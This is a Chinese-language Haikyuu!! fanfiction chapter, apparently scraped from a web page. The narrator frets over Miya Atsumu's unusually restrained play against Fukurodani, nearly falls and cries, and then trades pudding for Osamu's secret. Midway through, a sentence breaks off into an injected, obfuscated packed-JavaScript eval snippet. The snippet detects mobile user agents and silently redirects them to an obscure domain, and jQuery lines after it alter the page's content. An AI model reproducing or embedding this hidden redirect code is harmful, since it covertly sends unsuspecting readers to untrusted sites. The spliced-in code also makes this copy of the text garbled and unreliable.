——无法理解少男心思应该不是我的错吧
——但是影响到比赛那就完全是你的错了!
“今天的动作幅度好大哦阿侑。”这种感觉上的差异我很难用文字进行描述,于是转头看向黑须监督,他皱着眉,明显正在思考,我不好打扰他,于是将求助的目光投向今天还没上场的北。
“怎么了?”
“感觉他今天打得,很用力?”我斟酌着用词,和枭谷的这场比赛,非常精彩的拉打对攻,场面上无疑非常精彩。在北没有上场的情况下,还能保持如此稳定的接球,也是这次集训不小的收获,至于双胞胎时不时的“灵光一闪”,其实就是发癫,次数甚至还少于前几场。
非常认真、非常投入,但是也非常规矩。
“嗯,他今天打得太合理了。”对于富有想象力的宫侑而言,反而在ooc呀。
北若有所思地点了点头:“有发生什么吗?”
我摇摇头,准备等下场的时候问问宫治。虽然这两人之间总是互相闹别扭,但毕竟是同胞兄弟,怎么看也应该比我了解的多。也是这个时候我才意识到,稻荷崎在某种意义上,其实是很依赖于阿侑,也很依赖于他的创造力。
在面对枭谷这种同样直接暴力的攻击型队伍,面对全国前五主攻手同样富有想象力的扣球,拿不出新东西就只能受制于人。
稻荷崎的TIFO确实很符合这个队伍,“无需追忆昨日”,稻荷崎不需要一成不变的东西,固步自封这个词和这支队伍完全绝缘。
好期待啊,他们在IH上的表现。
尖锐的哨声响起,枭谷和稻荷崎的比赛,最后以木兔经典的直线扣球得分宣告结束,赢了比赛就会开心的木兔选手又化身成为闪亮亮的大太阳在肆意发散着自己的热情,但看上去被随机抓住庆祝的队友已经陷入了窒息危机——虽然但是,跑得好快啊赤苇酱,看起来对于逃避这种强迫性庆祝这件事完全熟练了,好厉害。
我又看向要去鱼跃一圈的稻荷崎,没上场比赛的同样要接受惩罚,依然被我习惯性称为卡密sama的信介这个时候会脱下他的外套,我一边接过搭在胳膊上,一边非常担心诡异地陷入了沉默的双子。
宫治的状态……我在脑子里回想了一下,很稳定啊,宫侑反而因为打得太认真显得束手束脚,没有昨天那么活跃。主力选手状态低迷可是非常要命的大事,这一点我实在太深有同感。
我试图向黑须监督寻求意见,他看上去精神状态比包括北在内的稻荷崎全员都要稳定,不愧是见过大风大浪可以和伊琳娜做朋友的成年人。
然而他脸上露出了非常神秘的微笑,那种“放心吧一切尽在我掌握之中你无须担心”的表情,我在伊琳娜脸上看到过无数次。
——死去的记忆又开始攻击我。
“我时常怀疑像您这样的教练是不是有自己的消息渠道。”
黑须监督:“为什么会这样想。”
“因为我觉得阿侑这样非常让人担心,虽然他比赛场上总是跳脱又自由,不仅会吓对面一跳,奇思妙想也会让队友措手不及。但是……”我们都知道,在社交礼仪中,转折之后的内容就像你礼节性聊天之后僵硬的“对了balabala”,转折之后的内容才是重要的,“稻荷崎很需要他的不稳定,稻荷崎因为他的不稳定而稳定。”
很奇怪吧,一个队伍居然是依靠不稳定性才得以稳定地进步。
但是稻荷崎就是这样一直我宁愿犯错,也不愿意什么都不做的队伍。
成熟的黑须监督并没有直接回答我的问题:“信子推荐你做她的接班人,确实非常合适,你即便没有打排球,也一直保持着对于这项运动超乎常人的敏锐性。不做选手的话,你也很适合做教练。”
虽然被监督大人认可了能力我是很开心,我也想问为什么不是分析师而是更衣室里权力更大的教练,我对于处理人际关系真的超……苦手,但这些疑问都和我一开始的疑惑完全无关,我在意的还是:“所以监督为什么不担心阿侑呢?”
黑须监督微微一笑:“把你刚刚向我描述阿侑的话对他重复一遍,他会很高兴的。”
……什么意思啊……
“我真的很讨厌谜语人。”我再一次气呼呼地抱怨。
之前打比赛、现在看比赛就已经耗费很多脑容量了,为什么大家交流的时候不可以直来直去呢?喜欢就说喜欢,讨厌就说讨厌,委屈焦虑不开心直接说出来消解不好吗,为什么偏偏要别人猜。
我才不猜。毒舌傲娇派早就退环境了,就算是我这种图鉴党在gal里遇到这种人设也是会选择直接skip快进只为了收集成就的。
不过……“真的有用吗?”赤苇酱也说过,夸夸木兔选手他就会很高兴,虽然木兔选手更直接一点,是我很喜欢的直球型选手,喜欢就会说喜欢,不开心也会说原因——我和雪绘酱她们宿舍夜话的时候聊过这个,反而得到了“你确实应该会和木兔成为好朋友”这样的评价。
感觉被骂了,但是不确定。
虽然阿侑比木兔选手的脑回路要更难捕捉一点,但是,喜欢打排球的哪有坏人呀!如果监督大人不是在开玩笑的话……
“相信我,我有特殊的消息渠道。”黑须监督以我之前开玩笑问他的问题答案支持了我的想法。虽然监督大人配合我玩梗的行为有点抽象,不过好吧……我试试看。
结束了惩罚正在场边休息的宫侑低着头在喝水,表情倒是看不出什么——不如说看不出什么表情才是最可怕的!以前这种时候他要么就特别生气,要么就已经开始搞事,总之不会是现在这样很平静的表情。不要呀阿侑,不要背着我偷偷变成也会讲谜语的大人呀!
我今天偷懒没有穿排球鞋,跑得太快甚至在他面前滑了一段,差点就要向后仰倒,身边没有任何支撑的东西,就算是有着伦太郎那样可怕的核心力量也很难不摔倒。
我内心尖叫着吾命休矣,绷紧了手臂害怕撑地时候又双叒叕受伤,但是腰被某人的手臂撑住了。
“都说了排球馆就得换排球鞋啊笨蛋!”
撑着我没让我摔倒的那个人几乎也是一个箭步冲了上来,凶巴巴的,然而完全是色厉内荏,脸上的后怕挡都挡不住。
……
“喂喂喂你不要哭啊我没欺负你吧!”
呜呜……我狼狈地拿袖口挡住了已经撇下来的嘴巴,我努力憋住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431054|184906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但是看对方越来越慌乱、已经手忙脚乱、急得面红耳赤的样子,好像并不成功。
但也不是我不想说话解释,我有种感觉,松开手的下一秒,我就会完全忍不住地大哭出声——那样也太丢脸了!
本来在排球馆里险些滑倒已经非常丢脸了,这么多人在,我要是哭得停不下来,未来一个月我晚上睡不着都会想到这一幕的。所以不要,绝对绝对不要。
“是哪里扭到了吗?腰,还是腿?你不要一直不说话啊很吓人的,你到底哪里疼啊……”
能不能闭嘴啊我说!你越说我就越想哭啊笨蛋阿侑!
我自己都听见一丝丝憋不住的嘤嘤声在从喉咙的空隙里飘出去,眼泪也在一点一点冒出来,我干脆低头把自己缩起来,让队服的袖口贴住眼睛。
笨蛋阿侑还在叽叽喳喳地和队友们解释他没有欺负我,是我突然要哭了,十分之笃定我一定是哪里受伤了疼得说不了话他要给我找队医来看看——发散太多了吧笨蛋!
“……笨、蛋!”我凭着记忆往前一抓,还好抓住了他的胳膊,“你……吓死我了。”
“你才是吓到我了好吧!”宫侑松了口气的叹息声简直就像我被魔鬼集训拷打之后发现自己居然还活着一样沉重,我用力吸了下鼻子,松开抓他的那只手,非常用力地一巴掌拍到他背上。
很好,这下是阿侑大叫出声并且在大家面前丢人了。
“所以你今天为什么那么奇怪。”我缓了缓,心脏现在才像是被慢慢塞回了胸腔里。
“下一场比赛要开始了,我们继续上吧!”
“不要当做听不到。”这种拙劣的顾左右而言他,阿侑自己是傻子也把我当做傻子吗?
“这次绝对不会受惩罚了!”
“都说了这种逃跑不仅可耻而且完全没用。”
“let''s go!”
……突然变成了没有沟通功能的人工智障。好吧,习惯了。
我看向明显知道什么就等我问他的宫治:“三个布丁。”
掌握了消息源也掌握了主动权的宫治颇有一种翻身做主人的傲娇感——不是都说了傲娇已经退环境了吗?冲我比出一个“1”的姿势。
“只要一个?”
“不是。一个星期。”
虽然说一个星期的布丁,哪怕是贵贵的那种对我来说也不算什么,“你不是和阿侑打配合故意演出来给我看的吧。”,阿侑看上去不像是能演得这么传神的人,不过阿治比他聪明点,指导一下的话也说不定。
“非常可靠的一手消息源。”阿治眯着眼睛笑的时候也很像狐狸——但是更像被算计了怎么回事!
我犹豫了两秒钟,第三秒的时候:“OK,请告诉我。”
宫治靠了过来,叽里咕噜的气音将情报传递给我。
……诶???
我震惊地看着他,他坚定地点了点头。
我陷入沉思。
但好像因为是宫侑,所以有一点合理。不过热爱打排球的都是这样的吗?我不是很懂。
我把目光投向不远处轮空正在休息的赤苇酱。
赤苇酱,I need your help!